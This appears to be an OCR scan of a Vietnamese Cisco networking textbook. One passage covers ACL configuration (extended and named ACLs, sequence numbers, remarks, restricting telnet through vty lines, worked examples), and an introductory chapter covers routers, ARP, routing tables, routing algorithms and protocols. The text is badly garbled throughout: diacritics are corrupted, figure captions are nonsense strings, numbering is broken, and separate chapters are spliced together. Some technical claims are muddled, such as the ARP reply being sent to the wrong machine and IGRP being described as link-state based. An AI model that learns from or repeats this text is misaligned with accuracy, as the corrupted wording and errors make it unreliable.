172.16.0.0 Pia chi IP ngudn sé& dugc si dung dé so
sanh.

0.0.0.255 Wildcard mask cta dia chi IP ngudn.

192.168.100.0 Dia chi IP dich s& dugc dung dé so sanh.

0.0.0.255 Wildcard mask cua dia chi IP dich.

Eq Toan tlr bang.

80 Port 80, la dung cho cac luu lugng HTTP.

Router(config)#access-list 110 deny | Cac goi tin Telnet c6 dia chi IP ngudn sé
tcp any Loy LN , A N
192.168.100.7 0.0.0.0 eq 23 bi chan lai néu chung truy cap dén dich

la 192.168.100.7.

access-list Cau lénh ACL.

110 Chi s& ndm trong khoang tir 100 dén
199, hoac tl&r 2000 dén 2699 sé dudc su
dung dé€ tao ACL extended IP

Deny Nhirng géi tin tuong 'ng v@&i cau Iénh sé
bi tUr chdi.

Tcp Giao thirc sir dung la TCP.

Any T khoéa nay tuong (ng vdi tat ca cac dia
chi mang.

192.168.100.7 La dia chi IP cua dich

0.0.0.0 Wildcard mask cua dich.

Eq Toan tir bang.

23 Port 23, la port clia i'ng dung telnet.

8. Gan ACL extended cho mot interface

Router(config) #interface fastethernet 0/0 | Chuyén cdu hinh vao ché dd interface
Router(config-if)#ip access-group 110 £a0/0.
out bong thsi gan ACL 110 vao interface
theo chiéu out. Nhitng géi tin di ra khoi
interface fa0/0 s& dugc kiém tra.
* Chuy:

- Access list c6 thé dudgc gan vao interface theo ca hai hudng: hudng vao (dung tir khéa in)
va hudng ra (dung tir khoda out).
- Duy nh&t mét access list c thé dudc gan cho mdt interface, theo mot hudng di.

- Gan mot ACL extended & vi tri gan mang ngudn hodc thiét bi ngudn nhét.

174



9. T khda established (tuy chon)

Router(config)#access-list 110 permit
tcp

172.16.0.0 0.0.0.255 192.168.100.0
0.0.0.255 eq

80 established

Cho biét mot két ndi sé dugc thiét lap.

* Chay:
- Cau lénh dugc kiém tra tuong ’ng duy nhat néu TCP datagram cé bit ACK hodc RST dudc
gan.
- TU khoéa established sé lam viéc duy nhat cho TCP, con UDP thi khong.

10. Tao ACL named

Router(config)#ip access-list extended
Serveraccess

Tao mot ACL extended tén la seraccess
va chuyén ciu hinh vao ché d6 ACL

configuration.

Router(config-ext-nacl)#permit tcp any
host
131.108.101.99 eq smtp

Cho phép cac géi tin cha mail tu tat ca
cac dia chi nguon dén mot host cé dia chi
la 131,108.101.99

Router(config-ext-nacl)#permit udp any
host
131.108.101.99 eq domain

Cho phép cac géi tin Domain Name
System (DNS) tir tdt cd cac dia chi nguon

dén dia chi dich la 131.108.101.99

Router(config-ext-nacl)#deny ip any any
log

Khéng cho phép tat ca cac géi tin tlr cac
mang ngudn dén tat ca cac mang dich.
Néu nhitng gai tin bi chan lai thi sé dugc
phép dua log.

Router(config-ext-nacl) #exit

Trd vé ché d0 cdu hinh Global

Configuration.

Router(config) #interface fastethernet 0/0
Router(config-if) #ip access-group

Chuyén cdu hinh vao ché& dd interface
fa0/0.

serveraccess
out Gan ACL serveaccess vao interface fa0/0
theo chiéu ra.
11. S&r dung Sequence Number trong ACL named

Router(config)#ip access-list extended
serveraccess2

ACL tén Ia

serveraccess?2.

Tao mot extended

Router(config-ext-nacl)#10 permit tcp
any host
131.108.101.99 eq smtp

S dung mot giad tri sequence number la

10 cho dong Iénh nay.

Router(config-ext-nacl)#20 permit udp
any host
131.108.101.99 eq domain

S dung mot giad tri sequence number la

20 cho dong Iénh nay.

Router(config-ext-nacl)#30 deny ip any

S dung mot gia tri sequence number la
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any log 30 cho dong Iénh nay.

Router(config-ext-nacl) #exit Trd vé ché db6 cau hinh Global

Configuration.

Router(config) #interface fastethernet 0/0 | Chuyén cdu hinh vao ché& dd interface
fa0/0.

Router(config-if)#ip access-group Gan ACL tén la serveraccess2 vao
serveraccess2 out

interface fa0/0 theo chiéu ra.

Router(config-if) #exit Trd vé ché d6 cdu hinh Global

Configuration.

Router(config)#ip access-list extended Chuyén cdu hinh vao ACL tén la
serveraccess?2

serveraccess?2.
Router(config-ext-nacl)#25 permit tcp S dung mot gia tri sequence number la
any host R A .
131.108.101.99 eq ftp 25 cho dong lenh nay.

Router(config-ext-nacl) #exit Trd vé ché dod cdu hinh Global
Configuration.

* Chay:

- Sir dung Sequence Number cho phép ban dé& dang sira cic cdu Iénh clia ACL named.
Trong vi du trén st dung chi sé 10, 20, 30 cho cac dong Iénh trong ACL.

- Tham sG6 sequence-number chi dugc phép cau hinh trén cac phién ban phan mém Cisco
I0S 12.2 trd Ién.

13. Xda cau lénh trong ACL named s dung sequence number

Router(config)#ip access-list extended Chuyén cdu hinh vao ché dé ACL
serveraccess2
serveraccess2
Router(config-ext-nacl)#no 20 Xoéa cau Iénh cbé gia tri Sequence number
la 20.
Router(config-ext-nacl) #exit Trd vé ché do cau hinh Global
Configuration.

14. Nhitng chd y khi s&r dung Sequence Number

- Sequence Number sé& khdi tao tir gia tri 10 va s& tdng nén 10 cho mdi dong lénh trong
ACL named.

- Néu ban quén khong gan mot gia tri Sequence Number trudc cau lénh, thi cau Iénh do6 sé
dugc gan tu dong vao cudi ACL.

- Sequence Number sé& thay d6i trén mot router khi router d6 khdi déng dé€ phan anh kha
nang tang badi 10 policy. Néu ACL cta ban cé cac chi s6 10, 20, 30, 40, 50 va 60 trong ACL
da thi khi khdi dong lai thi cac chi s6 doé sé trg thanh la 10, 20, 30, 40, 50, 60, 70.

176



- Sequence Number s& khéng thé nhin th8y khi ban s dung clu lénh Router# show

running-config hodc Router# show startup-config. D€ cé thé nhin thdy cac gid tri

Sequence Number, ban cé thé s dung ciu lénh sau:

Router#show access-lists

Router#show access-lists list name

Router#show ip access-list

Router#show ip access-list list name

15. Tich hgp comments cho toan bé ACL

Router(config)#access-list 10 remark
only
Jones has access

Véi tir khda remark cho phép ban cd thé
tich hgp thém mot ghi chd (gidi han Ia
100 ky tu)

Router(config)#access-list 10 permit
172.16.100.119

Host c6 dia chi IP la 172.16.100.119 sé
dugc cho phép truyén dir liéu dén cac

mang khac.

Router(config) #ip access-list extended
Telnetaccess

Tao mot ACL extended tén Ia

telnetaccess

Router(config-ext-nacl)#remark do not
let
Smith have telnet

V@i tr khda remark cho phép ban cé thé
tich hgp thém moét ghi chd (gidi han la
100 ky tu)

Router(config-ext-nacl)#deny tcp host
172.16.100.153 any eq telnet

Host co dia chi IP la 172.16.100.153 sé
bi tUr chdi khi thuc hién telnet dén cac

mang khac.

* Cha vy:

- Ban cb thé s dung tir khda remark vGi cdc ACL standard, ACL extended hodc ACL

named.

- Ban c6 thé sir dung tur khéa remark trudc hodc sau cau 1énh permit hodc deny.

16. S dung ACL d€ han ché truy cap router thdng qua telnet

Router(config) #access-list 2 permit
host
172.16.10.2

Cho phép host c6 dia chi IP Ia
172.16.10.2 cb thé telnet vao router.

Router(config) #access-list 2 permit
172.16.20.0
0.0.0.255

Cho phép cac host ndm trong mang

172.16.20.x c6 thé telnet vao router

Mac dinh c6 cau lénh deny all & cudi moi
ACL tao ra.

Router(config)#line vty 0 4

Chuyén cau hinh vao ché& dé line vty.

Router(config-line)#access-class 2 in

Gan ACL 2 vao trong ché do line vty 0 4
theo chiéu di vao router. Khi cac goi tin

telnet dén router nay thi s& dugc kiém
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tra.

* Chu y: Khi cdu hinh han ché truy cap vao router thong qua telnet, sir dung cau Iénh

access-class thay vi sr dung cdu Iénh access-group.

17. Vi du: cdu hinh ACL
- Hinh 25-1 1a s6 d6 mang dugc s dung d& cdu hinh ACL, nhitng cédu Iénh dugc s dung
trong vi du nay chi ndm trong pham vi ciia chugng nay.

Hinh 25-1
Workstation Workstation Workstation Workstation
20.163 5075 50.7 80.16

=l g J

Workstation Waorkstation Waorkstation Server
10.5 40.89 70.5 70.2

17.1. Vi du 1: Viét mot ACL @& chén khoéng cho phép mang 10.0 truy cdp dén mang 40.0
nhung van cho phép ngudc lai.

RedDeer(config)#access-list 10 deny Tao ACL standard d& khdng cho phép

172.16.10.0
0.0.0.255 mang 172.16.10.0

RedDeer(config)#access-list 10 permit | Dung ciu |énh nay dé& lam mét tac dung
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any cau |énh &n deny all

RedDeer(config) #interface Chuyén cdu hinh vao ché dd interface

fastethernet 0/0 fa0/0.
RedDeer(config)#ip access-group 10 | Gan ACL 10 vao interface fa0/0 theo
out chiéu di ra.

17.2. Vi du 2: Viét mot ACL khong cho phép host 10.5 truy cap dén host 50.7 nhung ngugc

lai vAn cho phép.

Tao ACL extended d& khéng cho phép
host 172.16.10.5 truy cdp dén host
172.16.50.7 bang tét ca cac giao thirc.

Edmonton(config)#access list 115
deny ip host
172.16.10.5 host 172.16.50.7

Edmonton(config)#access list 115 | Dung ciu Iénh nay dé lam mat tac dung

permit ip any any cau lénh &n deny all

Chuyén cdu hinh vao ché& dd interface
fa0/0.
Gan ACL 115 vao interface fa0/0 theo

chiéu di vao.

Edmonton(config) #interface
fastethernet 0/0
Edmonton(config) #ip
115 in

access-group

17.3. Vi du 3: Viét moét ACL dé cho phép host 10.5 c6 thé Telnet dén router Red Deer. Cac

host khac khéng thé.

RedDeer(config)#access-list 20 permit | Tao ACL 20 d& cho phép host
host , Ny s o ,
172.16.10.5 172.16.10.5 su dung tat ca cac giao thuc

dé truyén.

RedDeer(config)#line vty 0 4 Chuyén cau hinh vao ché dé line vty.

RedDeer(config-line)#access-class 20 | Gan ACL 20 vao line vty thel chiéu in.

17.4. Vi du 4: Viét mdt ACL named dé€ cho phép host 20.163 cd thé telnet dén host 70.2.
Nhung khdng cé host nao trong mang 20.0 cé thé telnet dén host 70.2. Ngoai ra nhiing
host ndm trong cdc mang khac cd thé truy cdp dén host 70.2 s dung nhitng giao thic
khac.

Calgary(config) #ip access-list
extended
Serveraccess

Tao mot ACL extended tén la

serveraccess

Calgary(config-ext-nacl)#10 permit tcp
host
172.16.20.163 host 172.16.70.2 eq

telnet

Cho phép host 172.16.20.163 c6 thé
telnet dén host 172.16.70.2

Calgary(config-ext-nacl)#20 deny tcp
172.16.20.0
0.0.0.255 host 172.16.70.2 eq telnet

Khdng cho phép cac host khac ndm trong
mang 172.16.20.0 cd thé telnet dén host
172.16.70.2.
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Calgary(config-ext-nacl)#30 permit ip
any any

Dung cau |énh nay dé lam mét tac dung

cau |énh &n deny all

Calgary(config-ext-nacl) #exit

Trd vé ché do Global Configuration.

Calgary(config) #interface fastethernet
0/0

Chuyén cu hinh vao ché& dé interface
fa0/0.

Calgary(config) #ip access-group
serveraccess out

Gan ACL tén la serveraccess vao

interface fa0/0 theo chiéu di ra.

17

16. Nhiing host t&r 50.64 dén 50.254 la cho phép.

.5. Vi du 5: Viét mot ACL dé€ nhitng host tir 50.1 dén 50.63 khdng truy cdp web dén host
80.

RedDeer(config)#access-list 101 deny
tcp
172.16.50.0 0.0.0.63 host

172.16.80.16 eq 80

Tao mdt ACL dé€ chan cac luu lugng HTTP
tr moét mang 172.16.50.0 0.0.0.63 dén
mot host 172.16.80.16

RedDeer(config)#access-list 101
permit ip any any

Dung cau |énh nay dé lam maét tac dung

cau lénh &n deny all

RedDeer(config)#interface
fastethernet 0/0

Chuyén céu hinh vao ché dé interface
fa0/0.

RedDeer(config)#ip access-group 101

in

Gan ACL 101 vao interface fa0/0 theo

chiéu di vao.
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1
1
1

Khai niém vé Router
.1 Nhiém vu va phéan loai.

.1.1 Nhiém vu:

Router la thiét bi mang hoat déng G tang thd 3 cia mé hinh OSI-tang network. Router
dugc ché tao véi hai muc dich chinh:

Phan cach cac mang may tinh thanh cac segment riéng biét dé giam hién tugng
dung do, giam broadcast hay thuc hién chic nang bao mat.

K&t ndi cac mang may tinh hay két ndi cac user véi mang may tinh & cac khoang
cach xa v3i nhau thédng qua cac dudng truyén théng: dién thoai, ISDN, T1, X.25..

Cung v6i sy phat trién clia switch, chiic ndng dau tién cta router ngay nay da dugc
switch ddm nhan mot cach hiéu qua. Router chi con phai dam nhan viéc thuc hién cac
két ndi truy cap tui xa (remote access) hay cac két ndi WAN cho hé théng mang LAN.

Do hoat déng & tang thd 3 ciia mo hinh OSI, router sé hiéu dudc cac protocol quyét dinh

phuong thic truyén di liéu. Cac dia chi ma router hiéu la cac dia chi “gia

29

dugc quy dinh

béi cac protocol. Vi du nhu dia chi IP ddi vai protocol TCP/IP, dia chi IPX déi véi protocol
IPX.. Do do tuy theo c&u hinh, router quyét dinh phuong thtic va dich dén cla viéc
chuyén cac packet tii noi nay sang noi khac. Mot cach téng quat router sé chuyén
packet theo cac budc sau:

1

Boc packet.
GG bo dang format quy dinh bdi protocol cta nai gui.
Thay thé phan g& bd dé bang dang format cla protocol cla dich dén.
Cap nhat thong tin vé viéc chuyén di lieu: dia chi, trang thai cGia ngi gui, ngi nhan.
Gi packet dén ndi nhan qua dudng truyén tdi uu nhat.
.1.2 Phén loai.

Router c6 nhiéu cach phan loai khac nhau Tuy nhién ngudi ta thudng co6 hai cach phan
loai chl yéu sau:

Dua theo cong dung clia Router: theo cach phan loai nay ngudi ta chia router thanh
remote access router, ISDN router, Serial router, router/hub..

Dua theo céu trac cla router: fixed configuration router, modular router.

Tuy nhién khoéng c6 sy phan loai rd rang router: méi mot hang san xuét co thé c6 cac tén
goi khac nhau, cach phan loai khac nhau. Vi du nhu cach phéan loai clia hang Cisco dugc
trinh bay theo bang sau:

Remote Low-end Fix configuration router Modular router
Access router Multi Multiport | Router/hub
protocol serial router
router
Cisco 2509 Cisco 7xx | Cisco 2501 Cisco 2520 | Cisco 2505 Cisco 2524
Cisco 2510 | Cisco 8xx | Cisco2502 | Cisco 2521 | Cisco 2506 Cisco 2525
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Cisco 2511
Cisco 2512
AS5xxx
Cisco500-CS

Cisco 100x

Cisc02503
Cisco 2504
Cisco 2513
Cisco 2514
Cisco 2515

Cisco 2522
Cisco 2523

Cisco 2507
Cisco2508
Cisco 2516
Cisco 2518

Cisco 160x
Cisco 17xx
Cisco 26xx
Cisco 36xx
Cisco 4xxx

Cisco 7xxx

Béang 1.1 Céc loai Router cta Cisco.
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1.2 Céc khai niém co ban vé Router va co ché routing

1.2.1 Nguyén tic hoat dong clia Router — ARP Protocol:

Nhu ta da biét tai tang network ctia mé hinh OSlI, chung ta thudng sl dung cac loai dia
chi mang tinh chat quy udc nhu IP, IPX.. Cac dia chi nay la cac dia chi c6 hudng, nghia
la chiing dugc phan thanh hai phan riéng biét 1a phan dia chi network va phan dia chi
host. Cach danh s& dia chi nhu vay nhdm gilp cho viéc tim ra cac dudng két ndi ti hé
th&ng mang nay sang hé théng mang khac dugc dé dang hon. Céac dia chi nay cé thé
dugc thay déi theo tuy y ngudi st dung. Trén thuc t&, cac card mang chi c6 thé két ndi
vGi nhau theo dia chi MAC, dia chi ¢4 dinh va duy nhat cta phan cing. Do vay ta phai c6
mot phuong phap dé chuyén déi cac dang dia chi nay qua lai véi nhau. Tu d6 ta cé giao
thic phan giai dia chi: Address Resolution Protocol (ARP).

ARP la mét protocol dya trén nguyén tac: Khi mét thiét bi mang mudn biét dia chi MAC
clia mét thiét bi mang nao dé6 ma no da biét dia chi & tang network (IP, IPX..) n6 sé gui
mot ARP request bao gébm dia chi MAC address cGia né va dia chi IP cla thiét bi ma no
can biét MAC address trén toan bé modt mién broadcast. M&i mét thiét bi nhan dudgc
request nay sé so sanh dia chi IP trong request véi dia chi tang network clia minh. Néu
tring dia chi thi thiét bi d6 phai gli ngudc lai cho thiét bi glii ARP request mot packet
(trong dé c6 chia dia chi MAC cla minh).

Trong mot hé thdng mang dan gian nhu hinh 1.1, vi du nhu may A muén gui packet dén
may B va né chi biét dugc dia chi IP cha may B. Khi d6 may A sé phai gti mot ARP
broadcast cho toan mang dé hoi xem “dia chi MAC clia may c¢6 dia chi IP nay la gi” Khi
may B nhan dugc broadcast nay, cé sé so sanh dia chi IP trong packet nay véi dia chi IP
clia n6. Nhan thay dia chi dé la dia chi cGa minh, may B sé gi lai mét packet cho may B
trong d6 c6 chia dia chi MAC clQia B. Sau d6 may A mdi bat dau truyén packet cho B.

ARP reguest
[ for B-IP
ARP reply.
-
— B-IP == B-hard

Hinh 1.1

Trong mdt mai trudng phuc tap hon: hai hé théng mang gan véi nhau thédng qua mat
router C. May A thudéc mang A mudn gui packet dén may B thudc mangB. Do céac
broadcast khong thé truyén qua router nén khi d6 may A sé& xem router C nhu mot cau
ndi dé truyén dii liéu. Trudc dé, may A sé biét dudc dia chi IP cla router C (port X) va
biét dugc réng dé truyén packet t6i B phai di qua C. T4t c& cac théng tin nhu vay sé
dudc chira trong mot bang goi la bang routing (routing table). Bang routing table theo co
ché& nay dudgc luu gili trong méi may. Routing table chiia théng tin vé cac gateway dé truy
cap vao mdt hé théng mang nao doé. Vi du trong trudng hgp trén trong bang sé chira
rang dé di t6i LAN B phai qua port X cla router C. Routing table s& cé chia dia chi IP
cla port X. Qua trinh truyén dii liéu theo tiing budc sau:

e May A giii mot ARP request (broadcast) dé tim dia chi MAC cla port X.
e Router C tra I6i, cung cdp cho may A dia chi MAC cla port X.

e May A truyén packet dén port X cla router.
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e Router nhan dugc packet tif may A, chuyén packet ra port Y cla router. Trong
packet c6 chia dia chi IP clla may B.

e Router sé gli ARP request dé tim dia chi MAC cla may B.
e May B sé tra I3i cho router biét dia chi MAC ctia minh.

e Sau khi nhan dugc dia chi MAC clia may B, router C guii packet cia A dén B.

ARP reguest
for X-IF
Foute ARP reply Faute
B-IP via X-1IP "_bi-ll:'::-x-han: R A-IP via¥-1P
L IP datagram L
- = tram AP 1o B-IP AAP request =
2 Tomm e 4
ouler
ARP raply
Machine A — —_— Machinz B
A2 i-|P bl B-IP=>B-hard Bp
A-hard E-hard  Y-hard IF detagram B-hard
" from A-IP to Bl T
Hinh 1.2

Trén thuc té ngoai dang routing table nay ngudi ta con dung phudng phap proxy ARP,
trong d6 c6 mot thiét bi ddm nhan nhiém vy phéan giai dia chi cho tat ca cac thiét bi khac.
Qua trinh nay dugc trinh bay trong hinh 1.3.

ARP reques!
farB-p T

) ARF reply route
2 7 - —_— . L
via BN pfm‘;!." ARE AP viaY- 1P
I IP datagram sEE I
T from A-IP to B-IP ARP request

Flouter & AFRP reply
Mach A Mac
3’;;;‘9 X=IP Ve € BIP=>B-hard ag_:;& ®
A-hard ¥-hard  Y-hard I datagram ST

~irem AP to B-P T

Hinh 1.3: Phan giai dja chi dung proxy ARP.

Theo dé cac may tram khong can gili bang routing table niia router C s& c6 nhiém vu
thyc hién, tra I5i tat ca cac ARP request cla tat ca cac may trong cac mang két ndi vai
né. Router s& c6 mot bang routing table riéng biét chiia tat ca cac thong tin can thiét dé
chuyén dii liéu. Vi du vé bang routing table (bang 1.2):

Destination Network Subnet mask Gateway Flags Interface
10.1.2.0 255.255.255.0 10.1.2.1 U ethO
10.1.1.0 255.255.255.0 10.1.1.1 U To0
10.8.4.0 255.255.255.0 10.8.4.1 U S0
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Metwork
10.1.2.0

-

e Vel
———

“1=n

Boctar ' A o

e i

Routing Table -I -

MNetwork | Interface

E |l 1 10.1.2.0 EO
L= I: 10.1.1.0 To0
S 10.8.3.0 S0

Metwork
10.1.3.0

® Address-to-port association table

Béng 1.2: vi du vé routing table.

Trong bang 1.2 dong dau tién c6 nghia la tat ca cac packet gli cho mét may bat ky thudc
mang 10.1.2.0 subnet mask 255.255.255.0 sé théong qua port ethenet 0 (eth0) cé dia chi
IP1a 10.1.2.1. Flag = U ¢c6 nghia la port trong trang thai hoat déng (“up”).

1.2.2 Mot s6 khai niém cg ban.

e Path determination:

Nhu da dugdc dé cap & phan trén, router c6 nhiém vu chuyén di liéu theo mét dudng lién
két t6i uu. Dai v6i mot hé thdng gdom nhiéu router két ndi vai nhau, trong do cac router c6
nhiéu hon hai dudng lién két v6i nhau, van dé xac dinh dudng truyén di liéu (path
determination) t6i uu dong vai tro rat quan trong. Router phai cé kha nang lya chon
dudng lién két t6i uu nhat trong tat ca cac dudng cé thé, ma dii liéu cé thé truyén dén
dich nhanh nhat. Viéc xac dinh dudng dua trén cac thuat toan routing, cac routing
protocol, tif dé rut ra dugc mot s& do goi la metric dé so sanh gitia cac dudng véi nhau.
Sau khi thyc hién viéc kiém tra trang thai clia cac dudng lién két bang céac thuat toan dua
trén routing protocol, router s& rat ra dugc cac metric tuang Ging cho mdi dudng, cap nhat
vao routing table. Router s& chon dudng nao c6 metric nhd nhat dé truyén di liéu.

Cac thuat toan, routing protocol, metric.. s& dudc trinh bay chi tiét trong phan sau.
e Switching

Qua trinh chuyén di liéu (switching) & qua trinh cd ban cla router, dugc dya trén ARP
protocol. Khi mdt may mudn gli packet qua router cho mdt may thudc mang khac, né gui
packet dé dén router theo dia chi MAC cla router, kém theo dia chi protocol (network
address) clla may nhan. Router s& xem xét network address clla may nhan dé biét xem
no6 thudc mang nao. Néu router khong biét dugc phai chuyén packet di dau, né sé loai bo
(drop) packet. N&u router nhan thdy c6 thé chuyén packet dén dich, né sé bd sung MAC
address clla may nhan vao packet va géi packet di.

Viéc chuyén dii liéu c6 thé phai di qua nhiéu router, khi d6 mdi router phai biét dugc
thong tin vé tat ca cdc mang ma né cé thé truyén di liéu téi. Vi vay, cac thong tin cla
m&i router v& cac mang ndi truc tiép véi né sé phai dudc gui dén cho tat ca céac router
trong cling mot hé théng. Trong qua trinh truyén dia chi MAC cla packet luén thay doi
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nhung dia chi network khdng thay déi. Hinh 4 trinh bay qua trinh chuyén packet qua
mot hé thdng bao gébm nhiéu router.

L

Pache1

curce ho=t
FC —
- To. Desinmonho=t | Projocd addre=)
— Aouter 1 | Fhy=cal addres)
Fach=
——
To. Desinaion host o Frofocd addre=)
Aouter £ | PFhy=oal addre=s)

. Desinaion hest (Projacol addres)
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Ta.

Detroton host (| Prodoodl ad dreos)
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Hinh 1.4: qu4 trinh truyén dif liéu qua router.

e Thuét toan routing:

—  Muc dich va yéu cau:

o

Tinh t6i uu: La kh& nang chon duéng truyén tét nhat cla thuat toan. Madi mot
thuat toan cé thé cé cach phan tich dudng truyén riéng, khac biét véi cac
thuat téan khéc, tuy nhién muc dich chinh van la dé xac dinh dudng truyén
nao la dudng truyén tot nhat.

Tinh don gian: Mét thuat toan doi héi phai don gian, dé thuc hién, it chiém
dung bang théng dudng truyén.

On dinh, nhanh chéng, chinh xac: Thuat toan phai én dinh va chinh xac dé
bao dam hoat dong t6t khi xay ra cac trudng hgp hu hong phan cing, qua tai
dudng truyén.. M&t khac thuat toan phai bao dam sy nhanh chéng dé tranh
tinh trang 13ap trén dudng truyén nhu hinh 5 do khéng cap nhat kip trang thai
dudng truyén.

Su linh hoat: Tinh nang nay bao dam su thay déi kip thdi va linh hoat trong
bat cii moi trudng hgp xay ra trong hé thdng.

o |
11 .-
'_.f"' Rouing t:ble '\ __.’ Fh:uing b= \“-\
D . Sard do. Diami | Sand 1o ’
X A2 X Al E
Alrzady updated Mot y=1 updat=d

Hinh 1.5: Hién tugng ldp trén dudng truyén
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— Phéan loai:
Thuat toan routing cé thé thudc mot hay nhiéu loai sau day:
o Static hay dynamic.

Static routing 14 cd ché& trong dé ngudi quan tri quyét dinh, gan san protocol cling nhu
dia chi dich cho router: d€n mang nao thi phai truyén qua port nao, dia chi la gi.. Cac
théng tin nay chia trong routing table va chi dugc cap nhat hay thay déi b&i ngudi
quan tri.

Static routing thich hgp cho cac hé thong dan gian, cé két ndi don gilia hai router,
trong do6 dudng truyén di liéu da dugc xac dinh trudc.

Dynamic routing diing céc routing protocol dé ty déng cap nhat cac thdng tin vé cac
router xung quanh. Tuy theo dang thuat todn ma ca ché cap nhat théng tin cla cac
router sé khac nhau.

Dynamic routing thudng dung trong cac hé théng phtic tap hon, trong dé céac router
dudgc lién két vSi nhau thanh mot mang Iudi, vi du nhu cac hé théng router cung cap
dich vu internet, hé théng cla cac cong ty da qudc gia.

o Single-Path hay Multipath.

Thuat toan multipath cho phép viéc da hop dii liéu trén nhiéu lién két khac nhau con
thuat toan single path thi khnong. Multi path cung cap mét luu lugng di liéu va do tin
cay cao hon single path.

o Flat hay Hierarchical.

Thuat toan flat routing diing trong cac hé théng cé cdu tric ngang hang véi nhau,
dudc trai réng véi chlic nang va nhiém vy nhu nhau. Trong khi dé thuéat toan
hierachical 1a thuat toan phan cép, c6 cau truc cay nhu mé hinh phan cép clia mot
domain hay ctia mét cong ty. Tuy theo dang hé théng ma ta cé thé Iya chon thuéat
toan thich hgp.

o Link State or Distance Vector.

Thuéat toan link state (con dugc goi la thuéat toan shortest path first) cap nhat tat ca
céac théng tin vé& cd ché routing cho tat c& cac node trén hé théng mang. Méi router
sé& gUi mdt phan cla routing table, trong dé mo ta trang thai cla cac lién két riéng
cla minh I&n trén mang. Chi c6 cac thay déi méi dugc gui di.

TR
Routing Routing Routing Routing
Table Table Table Table

Hinh 1.6: Thuat toan Distance Vector.
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Thuét toan distance vector (con goi 1a thuat toan Bellman-Ford) bat budc mbi router
phai guUi toan bd hay mot phan routing table clia minh cho router két néi truc ti€p véi
no6 theo mdt chu ky nhat dinh (Hinh 1.6)

Vé mat ban chat, thuat toan link state glii cac bang cap nhat co kich thudc nho dén
khap nai trong mang, trong khi thuat toan distance vector glii cac bang cap nhat c6
kich thudc 16n han chi cho router két ndi véi no.

Thuat toan distance vector ¢ uu diém la dé& thyc hién, d& kiém tra, tuy nhién né c6
mot s6 han ché la thdi gian cap nhat l1au, chiém dung bang théng 16n trén mang.
Ngoai ra no6 cling lam Iang phi bang thong do tinh chat cap nhat theo chu ky cla
minh.

Thuat toan distance vector thudng dung trong céc routing protocol: RIP(IP/IPX),
IGRP (IP), RTMP(AppleTalk).. va thudéng ap dung cho hé théng nhd.

Thuat toén link state cé uu diém la cé t6c do cao, khdng chiém dung bing théng
nhiéu nhu thuat toan distance vector. Tuy nhién thuat toan nay doi hoi cao hon vé bd
nhdg, CPU cling nhu viéc thuc hién kha phtc tap.

Thuéat toan link state dugc st dung trong routing protocol: OSPF, NLSP... va thich hgp
cho cac hé théng ¢d trung va I6n.

Ngoai ra con cé su két hgp hai thuét toan nay trong mét sé routing protocol nhu: 1S-1S,
EIGRP.

— Céac sbé do co ban trong thuat toan routing:

Metric la s6 do clia thuat toan routing dé ti d6 quyét dinh dudng di t6i uu nhat cho dii
liéu. Mot thuat toan routing c6 thé st dung nhiéu metric khac nhau. Cac metric dugc két
hgp véi nhau dé thanh mot metric téng quat, déc trung cho lién két. Mdi thuat toan cé thé
st dung kiéu s dung metric khac nhau. Cac metric thudng dugc dung .

o Path Length:

La metric cd ban, thudng dung nhat. Path length trong router con dugc xac
dinh bang sé hop gilia ngudn va dich. Mét hop dugc hiéu 1a mét lién két gitia
hai router.

o Reliability:

La khai niém chi do tin cay clia mot lien két. Vi du nhu dé tin cay dugc thé
hién théng qua bit error rate.. Khai niém nay nham chi kha ning hoat dong 6
dinh cla lién két.

o Delay:

Khai niém delay dung dé chi khoang thdéi gian can dé chuyén packet tu
nguon dén dich trong hé théng. Delay phu thudc vao nhiéu yéu t6: khoang
cach vat ly, bang thdng cla lién két, dung do, tranh chdp dudng truyén.
Chinh vi thé yéu t6 nay la mdt metric dong vai trd rat quan trong trong thuat
toan routing.

o Bandwidth
La mot metric quan trong dé danh gia dudng truyén. Bandwidth chi Iuu lugng
dii liéu t6i da cé thé truyén trén lién két.

o Load
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Load nham chi phan tram network resource dang trong trang thai ban {busy).
Load c6 thé 1a luu lugng dii liéu trén lién két, 1a dd chiém dung bd nhé, CPU..

e Routed protocol va Routing Protocol
— Phan biét gilia hai khai niém:
Routed protocol quy dinh dang format va cach s dung clia cac trudng trong packet

nh&m chuyén cac packet tii noi nay sang noi khac (dén tan ngudi st dung) Vi du: IP,
IPX..

Routing protocol: cho phép céac router két ndi véi nhau va cap nhat cac thong tin cla
nhau nhd céac bang routing. Routing protocol cé thé sl dung céc routed protocol dé
truyén thong tin gitia cac router. Vi du: RIP (Router Information Protocol), IGRP (Interior
Gateway Routing Protocol)..

Routing protocol quyét dinh:
o Router nao can biét théng tin vé cac router khac.
o Viéc cap nhat thong tin nhu thé nao.
— Céc routing protocol tiéu biéu:

Cac routing protocol dugc trinh bay trong bang 1.3.

Tén Tén day du Routed Protocol h trg
RIP Routing Information Protocol TCP/IP, IPX
IGRP Interior Gateway Routing TCP/IP
Protocol
OSPF Open Shortest Path First TCP/IP
EGP Exterior Gateway Protocol TCP/IP
BGP Border Gateway Protocol TCP/IP
IS-IS Intermediate System to TCP/IP
Intermediate System
EIGRP Enhanced Interior Gateway TCP/IP
Routing Protocol
NLSP NetWare Link Services Protocol IPX/SPX
RTMP Routing Table Maintenance AppleTalk
Protocol

Béng 1.3: Cdc routing protocol tiéu biéu

Dudi day chung tai xin trinh bay mot sé routing protocol tiéu biéu.
o RIP:

RIP la chii viét tat cla Routing Information Protocol, 1a 1 trong nhiing routing
protocol dau tién dugc si dung. RIP duya trén thuat toan distance vector,
dugc s dung rat rong rai tuy nhién chi thich hgp cho cac hé théng nho va it
phtic tap. RIP ty déng cap nhat théng tin vé cac router bing céach gui cac
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broadcast 1én mang méi 30 gidy. RIP x&ac dinh dudng bang hop count (path
length). S6 lugng hop t6i da 1a 15.

o |IGRP:

La loai routing protocol hién nay dang thudng dung nhat, dugc phat trién bai

Cisco, c6 cac dic diém sau:

+ Dung co ché advanced distance vector. Chi cap nhat théng tin khi cé su
thay ddi cau truc.

¢ Viéc xéac dinh dudng dugc thuc hién linh hoat thdng qua nhiéu yéu t8: s6
hop, bang thdng, do tri hoan, do tin cay..

¢ Co6 khéa nang vugt gidi han 15 hop.

¢ CO kha nidng hd trg cho nhiéu dudng lién két véi kha ning can bang tai
cao.

¢ Linh hoat, thich hgp cho cac hé théng I6n, do dua trén cd ché link state
két hgp vai distance vector.

o OSPF.

La loai routing protocol tién tién, dua trén cd ché link-state cé kha nang cap
nhat sy thay d&i mot cach nhanh nhat. Si dung IP multicast lam phuadng
